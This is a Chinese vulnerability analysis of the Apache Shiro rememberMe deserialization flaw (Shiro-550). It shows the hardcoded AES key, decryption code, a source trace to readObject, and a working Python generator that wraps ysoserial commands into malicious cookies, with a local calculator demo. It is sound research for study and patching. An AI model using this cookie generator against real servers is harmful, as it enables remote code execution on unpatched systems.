Author: rungobier(知道创宇404安全实验室)

Date: 2016-08-03

0x00 概述

Apache Shiro 在 Java 的权限及安全验证框架中占用重要的一席之地,在它编号为550的 issue 中爆出严重的 Java 反序列化漏洞。下面,我们将模拟还原此漏洞的场景以及分析过程。

0x01 漏洞场景还原

首先,需要获取 Apache Shiro 存在漏洞的源代码,具体操作如下:

Shell

git clone https://github.com/apache/shiro.git

git checkout shiro-root-1.2.4

cd ./shiro/samples/web

1

2

3

gitclonehttps://github.com/apache/shiro.git

gitcheckoutshiro-root-1.2.4

cd./shiro/samples/web

为了配合生成反序列化的漏洞环境,需要添加存在漏洞的 jar 包,编辑 pom.xml 文件,添加如下行:

XHTML

1.6

1.6

...

javax.servlet

jstl

1.2

runtime

.....

org.apache.commons

commons-collections4

4.0

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

1.6

1.6

...

javax.servlet

jstl

1.2

runtime

.....

org.apache.commons

commons-collections4

4.0

修改完成 pom.xml 文件后,开始使用 mvn 进行存在漏洞环境的 war 包进行编译,若中间出现很慢或卡死的情况,需要如何处理你懂的。

最终可以将 target 目录下生成的 samples-web-1.2.4.war 文件拷贝至 tomcat 目录下的 webapps 目录,这里将其重命名为了 shiro.war 文件,启动 tomcat, 在浏览器当中输入 http://localhost:8080/shiro 可以看到登录页面,如下图:

其次,我们需要产生payload的 ysoserial ,执行下列命令,可以获取到需要的 jar 文件:

Shell

git clone https://github.com/frohoff/ysoserial.git

cd ysoserial

mvn package -DskipTests

cp target/ysoserial-0.0.5-SNAPSHOT-all.jar /tmp

1

2

3

4

git clonehttps://github.com/frohoff/ysoserial.git

cdysoserial

mvnpackage-DskipTests

cptarget/ysoserial-0.0.5-SNAPSHOT-all.jar/tmp

0x02 漏洞分析

从官方的 issue 上来看,存在几个重要的点:

rememberMe cookie

CookieRememberMeManager.java

Base64

AES

加密密钥硬编码

Java serialization

首先,我们从正常登录返回的 cookie 中获取到 remeberMe 的值如下:

b5yZT61fKmL1xtrbaea+J69nQ/3CTtCs6JjKpkASJVL9LKgHtt3poOgXuYgOgyTEevaxzGEwqBUSi/GQG7oTlZdqTsyE5ZgdmhGtcFmuYlAg/o3pIpsHqOoceaMJ9EY4C7int+hb23KChqj73Mm99EMeb7Ey8jD6L4f1gJHjYKTv+ORbKQIaP6Num6MaXTBoYVloPRk8Lm2V+FNaksUkG949JQlvxtWIj1lidEXzjZ1GhA5nPrB5oR+3cb0mLBcg4UDyU3kqvIYKyfBhCe3BFBB1WySgNRFT5Ta4ybIirFGwdG6Ibhb55u1yZd+O1cC/Oc24qiJ2rkuXSLRZT4+0OtAlETaJQq3Is0AAiGwsCR1wuXsT2xxZA1t+lzP3yluW/46LaNlNLwIQLedNOHo1E+7BMbDf8yAabQqWSENW1JvmXB+fjsdSplj/YKFDNDKONn8JhynJhQnsaK+fv48Z/Tc+yNwzeChVp4cMHNyLsuGtJaoyZD3M5BDz0bmXDKTU

1

b5yZT61fKmL1xtrbaea+J69nQ/3CTtCs6JjKpkASJVL9LKgHtt3poOgXuYgOgyTEevaxzGEwqBUSi/GQG7oTlZdqTsyE5ZgdmhGtcFmuYlAg/o3pIpsHqOoceaMJ9EY4C7int+hb23KChqj73Mm99EMeb7Ey8jD6L4f1gJHjYKTv+ORbKQIaP6Num6MaXTBoYVloPRk8Lm2V+FNaksUkG949JQlvxtWIj1lidEXzjZ1GhA5nPrB5oR+3cb0mLBcg4UDyU3kqvIYKyfBhCe3BFBB1WySgNRFT5Ta4ybIirFGwdG6Ibhb55u1yZd+O1cC/Oc24qiJ2rkuXSLRZT4+0OtAlETaJQq3Is0AAiGwsCR1wuXsT2xxZA1t+lzP3yluW/46LaNlNLwIQLedNOHo1E+7BMbDf8yAabQqWSENW1JvmXB+fjsdSplj/YKFDNDKONn8JhynJhQnsaK+fv48Z/Tc+yNwzeChVp4cMHNyLsuGtJaoyZD3M5BDz0bmXDKTU

使用 Base64 解码存储为二进制文件后,内容如下:

00000000 6f 9c 99 4f ad 5f 2a 62 f5 c6 da db 69 e6 be 27 |o..O._*b....i..'|

00000010 af 67 43 fd c2 4e d0 ac e8 98 ca a6 40 12 25 52 |.gC..N......@.%R|

00000020 fd 2c a8 07 b6 dd e9 a0 e8 17 b9 88 0e 83 24 c4 |.,............$.|

00000030 7a f6 b1 cc 61 30 a8 15 12 8b f1 90 1b ba 13 95 |z...a0..........|

00000040 97 6a 4e cc 84 e5 98 1d 9a 11 ad 70 59 ae 62 50 |.jN........pY.bP|

00000050 20 fe 8d e9 22 9b 07 a8 ea 1c 79 a3 09 f4 46 38 | ...".....y...F8|

00000060 0b b8 a7 b7 e8 5b db 72 82 86 a8 fb dc c9 bd f4 |.....[.r........|

00000070 43 1e 6f b1 32 f2 30 fa 2f 87 f5 80 91 e3 60 a4 |C.o.2.0./.....`.|

00000080 ef f8 e4 5b 29 02 1a 3f a3 6e 9b a3 1a 5d 30 68 |...[)..?.n...]0h|

00000090 61 59 68 3d 19 3c 2e 6d 95 f8 53 5a 92 c5 24 1b |aYh=.<.m..sz..>

000000a0 de 3d 25 09 6f c6 d5 88 8f 59 62 74 45 f3 8d 9d |.=%.o....YbtE...|

000000b0 46 84 0e 67 3e b0 79 a1 1f b7 71 bd 26 2c 17 20 |F..g>.y...q.&,. |

000000c0 e1 40 f2 53 79 2a bc 86 0a c9 f0 61 09 ed c1 14 |.@.Sy*.....a....|

000000d0 10 75 5b 24 a0 35 11 53 e5 36 b8 c9 b2 22 ac 51 |.u[$.5.S.6...".Q|

000000e0 b0 74 6e 88 6e 16 f9 e6 ed 72 65 df 8e d5 c0 bf |.tn.n....re.....|

000000f0 39 cd b8 aa 22 76 ae 4b 97 48 b4 59 4f 8f b4 3a |9..."v.K.H.YO..:|

00000100 d0 25 11 36 89 42 ad c8 b3 40 00 88 6c 2c 09 1d |.%.6.B...@..l,..|

00000110 70 b9 7b 13 db 1c 59 03 5b 7e 97 33 f7 ca 5b 96 |p.{...Y.[~.3..[.|

00000120 ff 8e 8b 68 d9 4d 2f 02 10 2d e7 4d 38 7a 35 13 |...h.M/..-.M8z5.|

00000130 ee c1 31 b0 df f3 20 1a 6d 0a 96 48 43 56 d4 9b |..1... .m..HCV..|

00000140 e6 5c 1f 9f 8e c7 52 a6 58 ff 60 a1 43 34 32 8e |.\....R.X.`.C42.|

00000150 36 7f 09 87 29 c9 85 09 ec 68 af 9f bf 8f 19 fd |6...)....h......|

00000160 37 3e c8 dc 33 78 28 55 a7 87 0c 1c dc 8b b2 e1 |7>..3x(U........|

00000170 ad 25 aa 32 64 3d cc e4 10 f3 d1 b9 97 0c a4 d4 |.%.2d=..........|

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

000000006f9c994fad5f2a62f5c6dadb69e6be27|o..O._*b....i..'|

00000010af6743fdc24ed0ace898caa640122552|.gC..N......@.%R|

00000020fd2ca807b6dde9a0e817b9880e8324c4|.,............$.|

000000307af6b1cc6130a815128bf1901bba1395|z...a0..........|

00000040976a4ecc84e5981d9a11ad7059ae6250|.jN........pY.bP|

0000005020fe8de9229b07a8ea1c79a309f44638|...".....y...F8|

00000060  0b b8 a7 b7 e8 5b db 72  82 86 a8 fb dc c9 bd f4  |.....[.r........|

00000070  43 1e 6f b1 32 f2 30 fa  2f 87 f5 80 91 e3 60 a4  |C.o.2.0./.....`.|

00000080  ef f8 e4 5b 29 02 1a 3f  a3 6e 9b a3 1a 5d 30 68  |...[)..?.n...]0h|

00000090  61 59 68 3d 19 3c 2e 6d  95 f8 53 5a 92 c5 24 1b  |aYh=.<.m..sz..>

000000a0  de 3d 25 09 6f c6 d5 88  8f 59 62 74 45 f3 8d 9d  |.=%.o....YbtE...|

000000b0  46 84 0e 67 3e b0 79 a1  1f b7 71 bd 26 2c 17 20  |F..g>.y...q.&,. |

000000c0  e1 40 f2 53 79 2a bc 86  0a c9 f0 61 09 ed c1 14  |.@.Sy*.....a....|

000000d0  10 75 5b 24 a0 35 11 53  e5 36 b8 c9 b2 22 ac 51  |.u[$.5.S.6...".Q|

000000e0b0746e886e16f9e6ed7265df8ed5c0bf|.tn.n....re.....|

000000f039cdb8aa2276ae4b9748b4594f8fb43a|9..."v.K.H.YO..:|

00000100d02511368942adc8b34000886c2c091d|.%.6.B...@..l,..|

0000011070b97b13db1c59035b7e9733f7ca5b96|p.{...Y.[~.3..[.|

00000120ff8e8b68d94d2f02102de74d387a3513|...h.M/..-.M8z5.|

00000130eec131b0dff3201a6d0a96484356d49b|..1....m..HCV..|

00000140e65c1f9f8ec752a658ff60a14334328e|.\....R.X.`.C42.|

00000150367f098729c98509ec68af9fbf8f19fd|6...)....h......|

00000160373ec8dc33782855a7870c1cdc8bb2e1|7>..3x(U........|

00000170ad25aa32643dcce410f3d1b9970ca4d4|.%.2d=..........|

从这些内容中没有看到有明确的 Java 序列化特征字,因为上述关键字当中提到了 AES 和 加密密钥硬编码,所以需要去跟一下源码。打开 CookieRememberMemanager.java 文件并没有找到硬编码的加密密钥,继续跟它的父类 AbstractRememberMeManager 看到了如下几行:

Java

/**

* The following Base64 string was generated by auto-generating an AES Key:

*

* AesCipherService aes = new AesCipherService();

* byte[] key = aes.generateNewKey().getEncoded();

* String base64 = Base64.encodeToString(key);

*

* The value of 'base64' was copied-n-pasted here:

*/

private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");

1

2

3

4

5

6

7

8

9

10

/**

* The following Base64 string was generated by auto-generating an AES Key:

*

* AesCipherService aes = new AesCipherService();

* byte[] key = aes.generateNewKey().getEncoded();

* String base64 = Base64.encodeToString(key);

*

* The value of 'base64' was copied-n-pasted here:

*/

privatestaticfinalbyte[]DEFAULT_CIPHER_KEY_BYTES=Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");

目前可以断定 Base64.decode("kPH+bIxk5D2deZiIxcaaaA==") 就是我们要找的硬编码密钥,因为 AES 是对称加密,即加密密钥也同样是解密密钥。

除了密钥,还有两个必要的属性,一个是 AES 中的 mode(加解密算法),另外一个是 IV(初始化向量),继续查看 AbstractRememberMeManager 的代码, 在它的方法 encrypt 中看到如下语句:

Java

/**

* Encrypts the byte array by using the configured {@link #getCipherService() cipherService}.

*

* @param serialized the serialized object byte array to be encrypted

* @return an encrypted byte array returned by the configured {@link #getCipherService () cipher}.

*/

protected byte[] encrypt(byte[] serialized) {

byte[] value = serialized;

CipherService cipherService = getCipherService();

if (cipherService != null) {

ByteSource byteSource = cipherService.encrypt(serialized, getEncryptionCipherKey());

value = byteSource.getBytes();

}

return value;

}

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

/**

* Encrypts the byte array by using the configured {@link #getCipherService() cipherService}.

*

* @param serialized the serialized object byte array to be encrypted

* @return an encrypted byte array returned by the configured {@link #getCipherService () cipher}.

*/

protectedbyte[]encrypt(byte[]serialized){

byte[]value=serialized;

CipherServicecipherService=getCipherService();

if(cipherService!=null){

ByteSourcebyteSource=cipherService.encrypt(serialized,getEncryptionCipherKey());

value=byteSource.getBytes();

}

returnvalue;

}

其中 CipherService 是个接口,而实现这个接口的是一个抽象类 JcaCipherService,在它的成员函数 initNewCipher 中下断点,可以看到我们需要的几个关键信息: AES 的 mode 为 CBC, IV是随机生成的,但是偶然发现这个IV并没有真正使用起来。

那么利用上述获取到的信息,对 Base64 解码后的文件进行解密操作,解密 Python 代码如下:

Python

# pip install pycrypto

import sys

import base64

from Crypto.Cipher import AES

def decode_rememberme_file(filename):

with open(filename, 'rb') as fpr:

key = "kPH+bIxk5D2deZiIxcaaaA=="

mode = AES.MODE_CBC

IV = b' ' * 16

encryptor = AES.new(base64.b64decode(key), mode, IV=IV)

remember_bin = encryptor.decrypt(fpr.read())

return remember_bin

if __name__ == '__main__':

with open("/tmp/decrypt.bin", 'wb+') as fpw:

fpw.write(decode_rememberme_file(sys.argv[1]))

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

# pip install pycrypto

importsys

importbase64

fromCrypto.CipherimportAES

defdecode_rememberme_file(filename):

withopen(filename,'rb')asfpr:

key="kPH+bIxk5D2deZiIxcaaaA=="

mode=AES.MODE_CBC

IV=b' '*16

encryptor=AES.new(base64.b64decode(key),mode,IV=IV)

remember_bin=encryptor.decrypt(fpr.read())

returnremember_bin

if__name__=='__main__':

withopen("/tmp/decrypt.bin",'wb+')asfpw:

fpw.write(decode_rememberme_file(sys.argv[1]))

解密后的文件内容如下:

00000000 f2 3d a1 f5 74 1d 3b 15 b2 00 4e 53 a4 6b 1c 19 |.=..t.;...NS.k..|

00000010 ac ed 00 05 73 72 00 32 6f 72 67 2e 61 70 61 63 |....sr.2org.apac|

00000020 68 65 2e 73 68 69 72 6f 2e 73 75 62 6a 65 63 74 |he.shiro.subject|

00000030 2e 53 69 6d 70 6c 65 50 72 69 6e 63 69 70 61 6c |.SimplePrincipal|

00000040 43 6f 6c 6c 65 63 74 69 6f 6e a8 7f 58 25 c6 a3 |Collection..X%..|

00000050 08 4a 03 00 01 4c 00 0f 72 65 61 6c 6d 50 72 69 |.J...L..realmPri|

00000060 6e 63 69 70 61 6c 73 74 00 0f 4c 6a 61 76 61 2f |ncipalst..Ljava/|

00000070 75 74 69 6c 2f 4d 61 70 3b 78 70 73 72 00 17 6a |util/Map;xpsr..j|

00000080 61 76 61 2e 75 74 69 6c 2e 4c 69 6e 6b 65 64 48 |ava.util.LinkedH|

00000090 61 73 68 4d 61 70 34 c0 4e 5c 10 6c c0 fb 02 00 |ashMap4.N\.l....|

000000a0 01 5a 00 0b 61 63 63 65 73 73 4f 72 64 65 72 78 |.Z..accessOrderx|

000000b0 72 00 11 6a 61 76 61 2e 75 74 69 6c 2e 48 61 73 |r..java.util.Has|

000000c0 68 4d 61 70 05 07 da c1 c3 16 60 d1 03 00 02 46 |hMap......`....F|

000000d0 00 0a 6c 6f 61 64 46 61 63 74 6f 72 49 00 09 74 |..loadFactorI..t|

000000e0 68 72 65 73 68 6f 6c 64 78 70 3f 40 00 00 00 00 |hresholdxp?@....|

000000f0 00 0c 77 08 00 00 00 10 00 00 00 01 74 00 08 69 |..w.........t..i|

00000100 6e 69 52 65 61 6c 6d 73 72 00 17 6a 61 76 61 2e |niRealmsr..java.|

00000110 75 74 69 6c 2e 4c 69 6e 6b 65 64 48 61 73 68 53 |util.LinkedHashS|

00000120 65 74 d8 6c d7 5a 95 dd 2a 1e 02 00 00 78 72 00 |et.l.Z..*....xr.|

00000130 11 6a 61 76 61 2e 75 74 69 6c 2e 48 61 73 68 53 |.java.util.HashS|

00000140 65 74 ba 44 85 95 96 b8 b7 34 03 00 00 78 70 77 |et.D.....4...xpw|

00000150 0c 00 00 00 10 3f 40 00 00 00 00 00 01 74 00 04 |.....?@......t..|

00000160 72 6f 6f 74 78 78 00 77 01 01 71 00 7e 00 05 78 |rootxx.w..q.~..x|

00000170 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 |................|

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

00000000f23da1f5741d3b15b2004e53a46b1c19|.=..t.;...NS.k..|

00000010aced0005737200326f72672e61706163|....sr.2org.apac|

0000002068652e736869726f2e7375626a656374|he.shiro.subject|

000000302e53696d706c655072696e636970616c|.SimplePrincipal|

00000040436f6c6c656374696f6ea87f5825c6a3|Collection..X%..|

00000050084a0300014c000f7265616c6d507269|.J...L..realmPri|

000000606e636970616c7374000f4c6a6176612f|ncipalst..Ljava/|

000000707574696c2f4d61703b7870737200176a|util/Map;xpsr..j|

000000806176612e7574696c2e4c696e6b656448|ava.util.LinkedH|

000000906173684d617034c04e5c106cc0fb0200|ashMap4.N\.l....|

000000a0015a000b6163636573734f7264657278|.Z..accessOrderx|

000000b07200116a6176612e7574696c2e486173|r..java.util.Has|

000000c0684d61700507dac1c31660d103000246|hMap......`....F|

000000d0000a6c6f6164466163746f7249000974|..loadFactorI..t|

000000e068726573686f6c6478703f4000000000|hresholdxp?@....|

000000f0000c7708000000100000000174000869|..w.........t..i|

000001006e695265616c6d737200176a6176612e|niRealmsr..java.|

000001107574696c2e4c696e6b65644861736853|util.LinkedHashS|

000001206574d86cd75a95dd2a1e020000787200|et.l.Z..*....xr.|

00000130116a6176612e7574696c2e4861736853|.java.util.HashS|

000001406574ba44859596b8b734030000787077|et.D.....4...xpw|

000001500c000000103f40000000000001740004|.....?@......t..|

00000160726f6f7478780077010171007e000578|rootxx.w..q.~..x|

0000017010101010101010101010101010101010|................|

OK,看到第二行打头的 ac ed 00 05了吗? 这是 Java 序列化的标志,说明解密成功。那么文件第一行是什么呢?我们继续来跟 JcaCipherService 这个类,看它的一个加密函数 encrypt :

Java

private void encrypt(InputStream in, OutputStream out, byte[] key, byte[] iv, boolean prependIv) throws CryptoException {

if (prependIv && iv != null && iv.length > 0) {

try {

//first write the IV:

out.write(iv);

} catch (IOException e) {

throw new CryptoException(e);

}

}

crypt(in, out, key, iv, javax.crypto.Cipher.ENCRYPT_MODE);

}

1

2

3

4

5

6

7

8

9

10

11

12

privatevoidencrypt(InputStreamin,OutputStreamout,byte[]key,byte[]iv,booleanprependIv)throwsCryptoException{

if(prependIv&&iv!=null&&iv.length>0){

try{

//first write the IV:

out.write(iv);

}catch(IOExceptione){

thrownewCryptoException(e);

}

}

crypt(in,out,key,iv,javax.crypto.Cipher.ENCRYPT_MODE);

}

可以看出这个加密函数是先将 IV 写入,然后再加密具体的序列化对象的字节码,这样 IV 值我们可以直接通过读取第一行(16个字节,128位)获得了。

这里还需要跟进一个重要的东西,就是加密的序列化对象,回到 CookieRememberMeManager 的父类 AbstractRememberMeManager , 上面贴出的 encrypt 中有个 serialized 的字节数组,这个字节数组是从哪里来的呢?在这个类中直接调用这个方法的是 convertPrincipalsToBytes :

Java

protected byte[] convertPrincipalsToBytes(PrincipalCollection principals) {

byte[] bytes = serialize(principals);

if (getCipherService() != null) {

bytes = encrypt(bytes);

}

return bytes;

}

1

2

3

4

5

6

7

protectedbyte[]convertPrincipalsToBytes(PrincipalCollectionprincipals){

byte[]bytes=serialize(principals);

if(getCipherService()!=null){

bytes=encrypt(bytes);

}

returnbytes;

}

可以看出序列化对象是 PrincipalCollection ,但是这个类是个接口,看了下实现它的类是 SimplePrincipalCollection 对象。 在它的代码当中,可以发现关键的两个方法: writeObject 和 readObject.

最后,具体的 Payload 也就呼之欲出了,代码如下:

Python

# pip install pycrypto

import sys

import base64

import uuid

from random import Random

import subprocess

from Crypto.Cipher import AES

def encode_rememberme(command):

popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.5-SNAPSHOT-all.jar', 'CommonsCollections2', command], stdout=subprocess.PIPE)

BS = AES.block_size

pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()

key = "kPH+bIxk5D2deZiIxcaaaA=="

mode = AES.MODE_CBC

iv = uuid.uuid4().bytes

encryptor = AES.new(base64.b64decode(key), mode, iv)

file_body = pad(popen.stdout.read())

base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))

return base64_ciphertext

if __name__ == '__main__':

payload = encode_rememberme(sys.argv[1])

with open("/tmp/payload.cookie", "w") as fpw:

print("rememberMe={}".format(payload.decode()), file=fpw)

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

# pip install pycrypto

importsys

importbase64

importuuid

fromrandomimportRandom

importsubprocess

fromCrypto.CipherimportAES

defencode_rememberme(command):

popen=subprocess.Popen(['java','-jar','ysoserial-0.0.5-SNAPSHOT-all.jar','CommonsCollections2',command],stdout=subprocess.PIPE)

BS=AES.block_size

pad=lambdas:s+((BS-len(s)%BS)*chr(BS-len(s)%BS)).encode()

key="kPH+bIxk5D2deZiIxcaaaA=="

mode=AES.MODE_CBC

iv=uuid.uuid4().bytes

encryptor=AES.new(base64.b64decode(key),mode,iv)

file_body=pad(popen.stdout.read())

base64_ciphertext=base64.b64encode(iv+encryptor.encrypt(file_body))

returnbase64_ciphertext

if__name__=='__main__':

payload=encode_rememberme(sys.argv[1])

withopen("/tmp/payload.cookie","w")asfpw:

print("rememberMe={}".format(payload.decode()),file=fpw)

将上述代码保存为 /tmp/create_payload.py, 执行如下命令:

Shell

cd /tmp

python3 create_payload.py "open /Applications/Calculator.app"

# 安装了 httpie 可以运行如下指令

http :8080/shiro/ Cookie:`cat payload.cookie`

1

2

3

4

cd/tmp

python3create_payload.py"open /Applications/Calculator.app"

# 安装了 httpie 可以运行如下指令

http:8080/shiro/Cookie:`catpayload.cookie`

运行结果如图:

到这里就结束了吗?其实还没有,因为我们现在还没有找到具体的反序列化触发点在哪里。现在利用这个 payload 进行触发,并下断点,断点设置在前面所述的 AbstractRememberMeManager,具体的函数如下:

Java

/**

* Implements the interface method by first {@link #getRememberedSerializedIdentity(SubjectContext) acquiring}

* the remembered serialized byte array. Then it {@link #convertBytesToPrincipals(byte[], SubjectContext) converts}

* them and returns the re-constituted {@link PrincipalCollection}. If no remembered principals could be

* obtained, {@code null} is returned.

*

* If any exceptions are thrown, the {@link #onRememberedPrincipalFailure(RuntimeException, SubjectContext)} method

* is called to allow any necessary post-processing (such as immediately removing any previously remembered

* values for safety).

*

* @param subjectContext the contextual data, usually provided by a {@link Subject.Builder} implementation, that

* is being used to construct a {@link Subject} instance.

* @return the remembered principals or {@code null} if none could be acquired.

*/

public PrincipalCollection getRememberedPrincipals(SubjectContext subjectContext) {

PrincipalCollection principals = null;

try {

byte[] bytes = getRememberedSerializedIdentity(subjectContext);

//SHIRO-138 - only call convertBytesToPrincipals if bytes exist:

if (bytes != null && bytes.length > 0) {

principals = convertBytesToPrincipals(bytes, subjectContext);

}

} catch (RuntimeException re) {

principals = onRememberedPrincipalFailure(re, subjectContext);

}

return principals;

}

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

/**

* Implements the interface method by first {@link #getRememberedSerializedIdentity(SubjectContext) acquiring}

* the remembered serialized byte array.  Then it {@link #convertBytesToPrincipals(byte[], SubjectContext) converts}

* them and returns the re-constituted {@link PrincipalCollection}.  If no remembered principals could be

* obtained, {@code null} is returned.

*

* If any exceptions are thrown, the {@link #onRememberedPrincipalFailure(RuntimeException, SubjectContext)} method

* is called to allow any necessary post-processing (such as immediately removing any previously remembered

* values for safety).

*

* @param subjectContext the contextual data, usually provided by a {@link Subject.Builder} implementation, that

*                       is being used to construct a {@link Subject} instance.

* @return the remembered principals or {@code null} if none could be acquired.

*/

publicPrincipalCollectiongetRememberedPrincipals(SubjectContextsubjectContext){

PrincipalCollectionprincipals=null;

try{

byte[]bytes=getRememberedSerializedIdentity(subjectContext);

//SHIRO-138 - only call convertBytesToPrincipals if bytes exist:

if(bytes!=null&&bytes.length>0){

principals=convertBytesToPrincipals(bytes,subjectContext);

}

}catch(RuntimeExceptionre){

principals=onRememberedPrincipalFailure(re,subjectContext);

}

returnprincipals;

}

这里断点我下在了principals = convertBytesToPrincipals(bytes, subjectContext); 上,进行跟踪调试,最终的反序列化落在了 DefaultSerializer 类的 deserialize 的函数里,具体的函数细节如下:

Java

/**

* This implementation deserializes the byte array using a {@link ObjectInputStream} using a source

* {@link ByteArrayInputStream} constructed with the argument byte array.

*

* @param serialized the raw data resulting from a previous {@link #serialize(Object) serialize} call.

* @return the deserialized/reconstituted object based on the given byte array

* @throws SerializationException if anything goes wrong using the streams.

*/

public T deserialize(byte[] serialized) throws SerializationException {

if (serialized == null) {

String msg = "argument cannot be null.";

throw new IllegalArgumentException(msg);

}

ByteArrayInputStream bais = new ByteArrayInputStream(serialized);

BufferedInputStream bis = new BufferedInputStream(bais);

try {

ObjectInputStream ois = new ClassResolvingObjectInputStream(bis);

@SuppressWarnings({"unchecked"})

T deserialized = (T) ois.readObject();

ois.close();

return deserialized;

} catch (Exception e) {

String msg = "Unable to deserialze argument byte array.";

throw new SerializationException(msg, e);

}

}

}

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

/**

* This implementation deserializes the byte array using a {@link ObjectInputStream} using a source

* {@link ByteArrayInputStream} constructed with the argument byte array.

*

* @param serialized the raw data resulting from a previous {@link #serialize(Object) serialize} call.

* @return the deserialized/reconstituted object based on the given byte array

* @throws SerializationException if anything goes wrong using the streams.

*/

publicTdeserialize(byte[]serialized)throwsSerializationException{

if(serialized==null){

Stringmsg="argument cannot be null.";

thrownewIllegalArgumentException(msg);

}

ByteArrayInputStreambais=newByteArrayInputStream(serialized);

BufferedInputStreambis=newBufferedInputStream(bais);

try{

ObjectInputStreamois=newClassResolvingObjectInputStream(bis);

@SuppressWarnings({"unchecked"})

Tdeserialized=(T)ois.readObject();

ois.close();

returndeserialized;

}catch(Exceptione){

Stringmsg="Unable to deserialze argument byte array.";

thrownewSerializationException(msg,e);

}

}

}

看到那个令人激动的 readObject 了吧,至此收工,结束。

0x03 漏洞修复

升级 Shiro 版本至 1.2.5 以上

0x04 参考

shrio反序列漏洞修复_Apache Shiro Java 反序列化漏洞分析相关推荐

  1. 修复weblogic的JAVA反序列化漏洞的多种方法

    0x00 前言 目前oracle还没有在公开途径发布weblogic的JAVA反序列化漏洞的官方补丁,目前看到的修复方法无非两条: 使用SerialKiller替换进行序列化操作的ObjectInpu ...

  2. Apache Shiro Java 反序列化漏洞分析

    Shiro概述 Apache Shiro是一个强大且易用的Java安全框架,执行身份验证.授权.密码和会话管理.目前在Java web应用安全框架中,最热门的产品有Spring Security和Sh ...

  3. 4加密问题漏洞修复_Apache Shiro 反序列化漏洞实战

    Apache Shiro是一个Java安全框架,执行身份验证.授权.密码和会话管理.2016年,网络中曝光1.2.4以前的版本存在反序列化漏洞.尽管该漏洞已经曝光几年,但是在实战中仍然比较实用.花了点 ...

  4. Apache Shiro Java 反序列化漏洞解决修复记录

    收到了阿里的警告 阿里漏洞扫描系统 解决办法 借鉴了 https://blog.csdn.net/Fly_hps/article/details/106112692 下载windows 扫描工具 ht ...

  5. java反序列化漏洞挖掘

    java反序列化漏洞挖掘 1.漏洞触发场景 在java编写的web应用与web服务器间java通常会发送大量的序列化对象例如以下场景: 1)HTTP请求中的参数,cookies以及Parameters ...

  6. java反序列化漏洞分析

    Java反序列化漏洞(Java Deserialization Vulnerabilities)是一种常见的安全漏洞,其攻击方式是利用Java中的序列化和反序列化机制,通过在序列化数据中插入恶意代码, ...

  7. Java反序列化漏洞通用利用分析

    2015年11月6日,FoxGlove Security安全团队的@breenmachine 发布的一篇博客[3]中介绍了如何利用Java反序列化漏洞,来攻击最新版的WebLogic.WebSpher ...

  8. Lib之过?Java反序列化漏洞通用利用分析

    1 背景 2015年11月6日,FoxGlove Security安全团队的@breenmachine 发布的一篇博客[3]中介绍了如何利用Java反序列化漏洞,来***最新版的WebLogic.We ...

  9. java反序列化漏洞:2015年被低估的“破坏之王”

    近日,2015年最为被低估的,具有巨大破坏力的漏洞浮出水面.在FoxGlove Security安全团队的@breenmachine 发布一篇博客中介绍了该漏洞在最新版的WebLogic.WebSph ...

最新文章

  1. HTML4.0标准语法--表格
  2. win7下搭建cocos2d-x androi开发环境不用cygwin的方法
  3. python读取文件夹-Python按顺序读取文件夹中文件
  4. Ardino基础教程 21_LCD1602液晶屏
  5. 论文笔记:Temporal Regularized Matrix Factorization forHigh-dimensional Time Series Prediction
  6. Science nature合集 2021年度上半年
  7. ABAddressBookSave关于保存到通讯录失败的问题
  8. HTTP 错误 404.13 - Not Found 请求筛选模块被配置为拒绝超过请求内容长度的请求。(上传文件长度问题)
  9. 摄像头自动曝光相关基础知识
  10. springboot+jpa+mysql+redis+swagger整合步骤
  11. Mac book pro M1 安装 Homebrew
  12. u盘当启动盘(多种方法)
  13. mysql数据库MyISAM存储引擎_MySQL数据库MyISAM存储引擎
  14. EMI电磁干扰的来源和分类
  15. Openerp管理权限的方法
  16. Ouroboros Snake POJ - 1392(数位哈密顿回路)
  17. 洛谷 P1007 独木桥
  18. android carlife 源码,CarLife开发总结
  19. 华硕笔记本bios U盘启动问题
  20. 线上相亲交友源码APP开发,是互联网婚恋市场的新途径

热门文章

  1. 浙江省计算机二级c语言分数构成,计算机二级C语言题型和评分标准
  2. Win11体验——该来的来了,该走的没走,不该走的走了
  3. 基于JAVA+SpringMVC+Mybatis+MYSQL的体育器材管理系统
  4. 度小满面试题20190923
  5. LNMP安装目录及配置文件
  6. C# 序列化技术详解《转》
  7. [转载] 全本张广泰——第八回 广泰欲悬梁 老侠三救徒
  8. 在网站中使用Cookie的简单例子
  9. Java算法之两数之加
  10. Java之for和while的内容